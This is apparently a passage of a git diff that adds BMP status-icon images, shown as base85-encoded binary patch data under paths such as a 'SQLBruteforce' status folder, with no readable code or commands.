z+18Kl7{>D?hgiADgSn;YMWv~ebvd=Vp%rE6MJ34-`5q*!m8-~yO12B3^bHXEhSMAa zNqu~X&i<8y>vnwo{a4>znmemy-olMdpKsIY=B{3OVCSBzH52D=E!n=b|J)o}x;}qG zdwZu+@%yuaM9|UR@$&hL{;GJLVfyzb)7R%ZjD}Z|;6%PlFwX@`?BPS`>4)#-gYV%b z^rjUij?ZAlvt02d$pvL;ll3F2ODfisl&{neDlg9{nh-mNVu#Ivvc_t1m@fFp9$pbW zyvViz!PbsrQVaL*|8euK(~XUrj$QnD{D_(r>-W!YXqi*DUY|RAOZBcJGmq9KRHR7N zKmXjRZ2bPLz&8LbaNrcNcIwQ9C!f8ZIcJX=KY-jj5O3p6>ghL_pNa&rgRGoXSYdJU zMB@O%NO(|=Y!Gl=!(gL+%IcEJwIx+8`qCBp0R~Vxh@Y0H8etruFGv^*1P-)vjE#g7 zC`dmf{rIW-M=su8P`7^7`n@Yw?z#G`ed~@^{lpp7`3v?npTD@_))#rJl{o(4gZt1? z{ncy#So1!tZTIhgd*DFb%<1Dtk4#c4N&f!iz#y0=BK7gd_izJ|N9++WT%1`os8ov+ z!vSo4dXXV*vM#kypH^536wTD>4a;;@YjqWCbQJ)1oni7qecEJ0dJ$-&OPy4jQCyTX zk?T%Orbd@#6bdn{mga+(?!Ky@**t1+>C$D}m$mF^*>G_C?xT&f*Pl7{@c0+kw-tTa zpPV?es=}hcAKCu=s&lMhm%V)HQdla*xHuBMT?AM^C@c_(2&TAs1X?+e`vl{A`A2m3 z9mq{7&n(fWPRdmb1Fj1=KqdkZB>*UOvVP)xU3H7DqFG}=4cB(<;v zv`n4^0(wGBZk}=kNM1^Upi8_0=Lh6Pf6-AL}v5xv|P zE)hdS84`w)Mb^GOl~U9snz$Js2@=S&Rsqvh zuF)Brb%Tt$q>062X6h!**JbDoDPUrX%F;_Rxbd0&a*m$9d*p|Em!7vDyztXEr>`Bn z{PV@XAccH-0DXJ6SFJksV)s)yJkA)7O0*#EZoS zV0!m-v$1jQZsXCjC)UPolzix<#IYQALSe#qFh*TUkv?UzK53FJQ(scLyrgEGu57t} zK&ifXiLP?3p`sbsudDzUm3HDh-N5paisq7C%ey$%Tg0;<4IMGLC9#!&f`k z96hw_?1`HXub51yA3fc7_Hs+hmKC$>mzL<~56Z1i%)vYOjLRPO`t>Wzfd8oGZ?E3T z3Yxus{W>)+-oH<;Y!Oo$65#$>7x(VnJ$m%;?Ag=Hx|b$gV(f1Kl-cm0(v+f-{)Xal z^%h}tg^g%vPFamQ?c{~v#88QX{(_6@YL>QHSH4PLw5X(NE$Y?4$;a0lk|!C`OY{@w z2qJ}};`Cb^_Mg9S@8l2HS1)T`Y&5RXPuM$c;`v3o%Z<8&!w2pi&|e#X#dx_N*t-i1 z_#L?a#Cq=Z=?H&+C@d@nAL(Y@&CLb{Ma`xMp-;fX=-kpY)Lji}MLM8mZe2;mYC}ee zA-h&r1rkuRZi=}?lM(8@7ErYQts8@xSc5J>zu8(KFj$Us1Ix;%ZHR%>)8hyKc=_I{ z`Ycvbd3s67!1ChaMf&s-UGA)6;D=Q$rIVU;-86?WXnzr*_`n zSbNvPx@pF-@gtY3uwX$*OlfFHVPS51`=;}ZAtAqy>6*R zOMT^9eFdr?u+o|h5*zdE+0&2E_3*xZ5x#yBQj~y52>14OwzhWe+C>~jAFm#ruN_mG zGFdlrD$up03f&$6KK(Dgs;^v^GrT$_dUSgHxFG`!`4i_)nYDFbdU1BbH^vDjU}I9h zON%Qo&f1zkscFQps{SdHGE)k2$2RCIfn$Tf1=}lh!b&QeOQ)|NHcUtH51Be5@#gU@ zZRdC2+CJ-twbkF$PAm~1YPS$a>+Zo0J#&W-dDH&pBUrCry&4sYW#PgEBqAd;)T38# z$F5yyexb%pJy=b_I;tNzO^33gGMJO9SyXhSYZzWsvTY#KDV%H@M0N^MFtxF~JVWkF zW4@_;JZdqVe3+t$a=}sTF)SB6sZRhOCq>g1SbR`tMneE>o{K7*K~Bz27)5q*S~X$V z!GbkGrRLrs5Zmg)=Ue)lman`o-8C%7X@?>$EVOV8B z+}NSwOsQ8C)q#?wXf7Q71F*r`jZ9aL%#Su4%9@xk&M=}nni(x6sf~4Cg4-+WznU^@ zyRK$^p%Lx5q^j9Ca=HXd7J3EIJpH8vQGRl9$$%;223BSy7Ab{U9^IX543ppe2H>Aq z0q*F5{e7&vD=9QFfj|ol^>uJ?>iU@&M>F;>)hAEZPncI+xwfKiTf^dA)2BC=O|H{T zoMzNF%$&1zP*R?V0E0DEH+p*MV52dwZe;8j1y)FRrZHVunh1DI(pY2eECX0g^JeLd zD_J4T{_!KH*KI5-nys5KwXC>d#;mpVi+7jL*bJndGJb9>MMCh$6%R3tOq(nb<t?-2=(@I?DCm7f^8^UQMYvW$c$WsDqFC0$L4*HPd_%D{OR_V zgGZNb*z@&?A999{Pf`!BUva3=*jzlN1^DEYs>5!gvLFrL&jrkBiIl3FgX^8nerGR;)U< z@%vk=j$d1OoQ z>yA~_u83jA7j{TS0S8e*9 z9!QZ9m|TB6ri+W8m93Vi%1Rzi!xHQ2npd>!M2K7^1J?4Qx->1{R$4w&6wc*hsT1<_ zt@oatxc}m0+sp56+#ixYk`+u6gtMpDEv~6v;Ahnvd~)M&We?+6vT#kB$gzgf z`q1tk!Cjn3CJuc3@X@_nchUr!d5brld1^Y@2Hs|yj^FKQy=yvt$8_RO$MM@8-~?2* z-Z!0lW-=J+MkQrEef;#s)$55o1*VH@NOw1Cc$Am7uamVkD=1hUMN44uqG{ZI5*Y98 z9q#NbBSxr6;f543)5l3)QUqB4Q&zG}!#jQW*Sn{cm9m{3GFfC95v!q*qx`&sTpX1w zTB3;EPe2E*73SlQ4-Q78@+fy4@ZJd-IZxUi9oustfAEC8mu~=?<7Pxq0@f3EOs#i1 zP~1DFz5PBrzN= z&ebEp-X0S7(|SJ zn2%c`hXLUu!o0k+LSd{#B4e;MkNidE}gOU+mq*Cph5zt{mpKf&u?`c zH5+i|^G{8e+f9qs?#R@pAQH&l+6KI*3UP5^g<=sZMZ@I8u(*jrv6julxw>LpT_6e> zEcP-IDT$9ON#TdM*zei1`=ePcvvXk2uFyU`2hzghC`37xBxlpqJSI0B7wPHlZ)eMm zh)9shv;tuaPo!kB$N~NYA0IL{GT%_SWc%*TM=l+^^XA-B)A?tn3olF;Uz*N8N6#-l zH(dZHPumY%xi`OM>xi)hJige$rn^J;?pRMxyq`bO&tJvnBuSuT3CP$yPAD#*Z(pLX zA9#e4$p9<8G>SMt8a`S<4)^!G_TxW)tMgB~T3Eloa3RvqHz6`GjX{)AiE^v5+OK2B$Y)`Au@SrVthXt#Khs;ZEZdKItaK>){vs{ljaxb78Mxg z6<2(2s9H0*e9`EMRWXTa7+-(e9zFY5+j!a9k^+Kw1Twd0=ckYPze6hdlKt4%I z!6Sf`$xt%sN;Xr@VNteY<|<)T@WLqeG;(7Y7%{z+ze95ipY#4(HQdL?%dU^FogE8@O+lax1(G6@iHK1$CcB?fm8Q}5lgl+i z9-l;DgkmTmfiRt>U^A6`PP9l6BM@*RBUzDnwNRW99h;_&jfdpKz+msb4j6ZLE{Uk% z^AtR;g2Ps_St{^E4nxUeY3LEgG+wBiU3G0Op!rAK&ar}?=G4vdu<0^Xgx9jjawY|0 z(WESz3`{PYDdTVyT&|MGlhEl=Sd5>OBgWZ<5rUPFDBK8wnlH?Vj>*u*q-l!`<- z93vD+qR6RA@QsZ$3COQjrK(gC8eJ_EB}gCzn@h#u{On!)oLy)Ukun}%E)c?89>QZI z9F`nR4~vPg8Nj#F#Q4%Qfva7wt=qr+q^x^(?(}kTNv2|xc~luQ3Sv_wEE>e3!)z89 zf{e?Nak&VOs}hPpv~lsINFVH7DdXY0ahuC0i&QS7_joV2p@PGVi7Fh!=O)dw}2JqvJfsy#$muLx{4VwHH*jau}75hM~^!7lfBNd zTD~S3l{3PtclZ7h3c{vH*i_)d5O84h`D~cSfp}cVGA=$39iRa9J*7yZmB3msc9B@h zWJX~yq2AuUj*j-ddU`uLhXn*N31kVIs{qYpvKRyb7LCX>Fr<`-5s3&E@;uXdIdefPV0<3@)bHqmsPmPZ!@T{%pM%Yt|; z01ERt5HJA;7I0w!0OcWIm_mV4Bvy*WVBi`Eik89PBiuxlA|8Pt9w$z%jF!u_a+yX3 zYh;iHma1iDgCP|xl}km4SO^LEZ*h5CfD7>fC|k;AiRr|$A^c%bxQmO+-u-)jrFr*B z=U6R$JZx(t;zCKj?&(qv&=uk_VJ;Ib`D_R^6jvtXSqu^Lfhi>-rBtkfBx*>il1hMJ zv2r*Xl86|L7!{&~rAjHdBtcnGTu2RwA*m7qtf;Osu}~%u03QZU1M@+!u%%ppGb_LaGY$#Zu<$J_Eau51 z0z@J(vx-!ZSPe_eCXJR$l_CKhk5|ehz|=ATD%B#uAXHa#GcYT_6#y;>S&I)#`CO@h z3A5S2nIv>_aSBVH$n4d%OMU%pfbx&4jRm*Utd{1NE}q8*28hD~hiF7H4h`lqP*5HN z5-`oIY~aH{S6ITAN%+5KRl#qWVw8|tDq@mJ8U?HY8q0yAe_@4CR)ttB7YSu($eQyo zmm}seB`kWP2)`r`<_5cjVR5%_-~QKF!TUR%uGq1Ax9n(9A_5i}8Vbr|N&&He1$0HF z6>()^E+XbBBtoF8LMl?4)dI?C<#4Q023WZia*Ps*QOJOSO7zn2bp`FEB5*q*0?Q6h z4x(ScmGjvkSY!<1w2@LnI?J}}XLIMw?K~)G`JTFhJAVA}2U0{BEzm6|2~r9GC@?z2 zXP}8gh`O=Gz%Wr(Fl3Zf4E$3olg1!$0tizvpB+VvSIJ`mt`gD8QP5}v75J?Wn^~0- z0SYSQDFl4AfTKb|sX4K<)#Y*F9=!xY(Y?EO!FW1n#>%01Gb@Wsh*QZe(gMn885Dyy0Le?D1>O$k z1`;X7LNh2&CE}=r93_vH1d&#iMGumN+1c7|*th{ub}~{e^YNanmhNA@deuKQ#ivit zyhJ!nEtCRj`C!>$Nr4I2D60st^5kMvT2x&~1maaIm&7XGva-#rAScI~L8B1~Fs)2% zF%2YAL%=75O0hsC1bZ>AT)n1#ekVX(bv&5+j$!D`lt;lZilAz#8*+tXfE@ zfrM&^uafZ9Lav6-R&yv*a%7DKDla>0M5TK2q_gXcWwe&^Ls`My2lws8VX%HqeKNJu zM5PqrGY}B30ybKjbwzy`;EDxk)B>qc|C9nDRT2Tm9Iw#|nMRJz0q|Z_S6CbkOeTtk zg&J6(f%z(+tAMNGk_!jHb>mb)F1;8G)|IPQ!PDPYRB+3OvRWQ>_Vj5sgW+j!m!_5_ zsicU2g$Oxv;KKrRp|wa0)RjvFAVaC8VD}`BMI=fwk4?tMDL__|0#MX`@m}D=05=B3 z6=-3;M#5L|q9zZK)r?jJICiJenCH%(wTScq<%hDOk1~I20-QNUtFiCiEe7T$XOBZ(P6r%L6~~-%r5`9u2;{udJ+ab#)=(0<#j~XarEQz#c#jqy?YN z3pff9M=9c|#eBe_L|JjMa&u^!omPW-xKJhKse#|Z!e|Mrzm`*xmoQXCb?RX~B0IaS z?E!eohYI?3ZaxvKrMF$Xc2daXU=RC2aiW27QYF~I@)>dv!~(WLz*Pu23NaffrxdW5 zgkMP}`Hc3nvmkIY%g17Dr1)n45gDnADE#d$swUEt-#Ks^Xb_FPuMyN7>FA!<}e~KU||7iNCWWzB_d?W`P9sKUg?;)Bq_dF=HJM2$+{0pp> z;eEN|D?E|tVP~BMN0tso25b3B5nUl+#X;OSDTf&mqJ;#&lp>ByK#f<@3q~OM1L06V zM_(_`snwOw-}&pE51WC1jTH>%+VvlE$BlKg?L+W!7^-26>?cix*@;qC0>oiPVo+9? z7b9n7r%NXeg%w<^vuzJKBK!96K?};q2k4)sa8jI_P|&DY=T5J{wcd)d%1o&)5Z zfl7X=gw2i!PL%Nn#7jq{OO(8D4~JfX-kx={W;}e@_NM`U!k7OV>+i?-{KfO-D_5}T zG`HS8=s_MTY9tfuA1h+=i6Jh%ZTx(^^G4=ey>j{YxBMID|2``a*rM_M`*#}`%mtq{ zc{%p6>uK%f>JUXD6c*&S9y?+ovo!lRC@p>d`>cQBxPSlNo?SZ@Eu6pO>o2cg2fq+_ zd;Hs=;4%MKtiK@rH~;-Fv7&DMkvqQkpSAxI>-!J%6WsAX#R~p!+s8P={}?M+uRomk Ne~R@Z{n*Ot{{i&YIi3Ij literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce.bmp b/resources/default_config/characters/ALVA/status/SQLBruteforce/SQLBruteforce.bmp new file mode 100644 index 0000000000000000000000000000000000000000..9db4d231ae8a801ed51a6f7bdd88453d55a4c36e GIT binary patch literal 2406 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 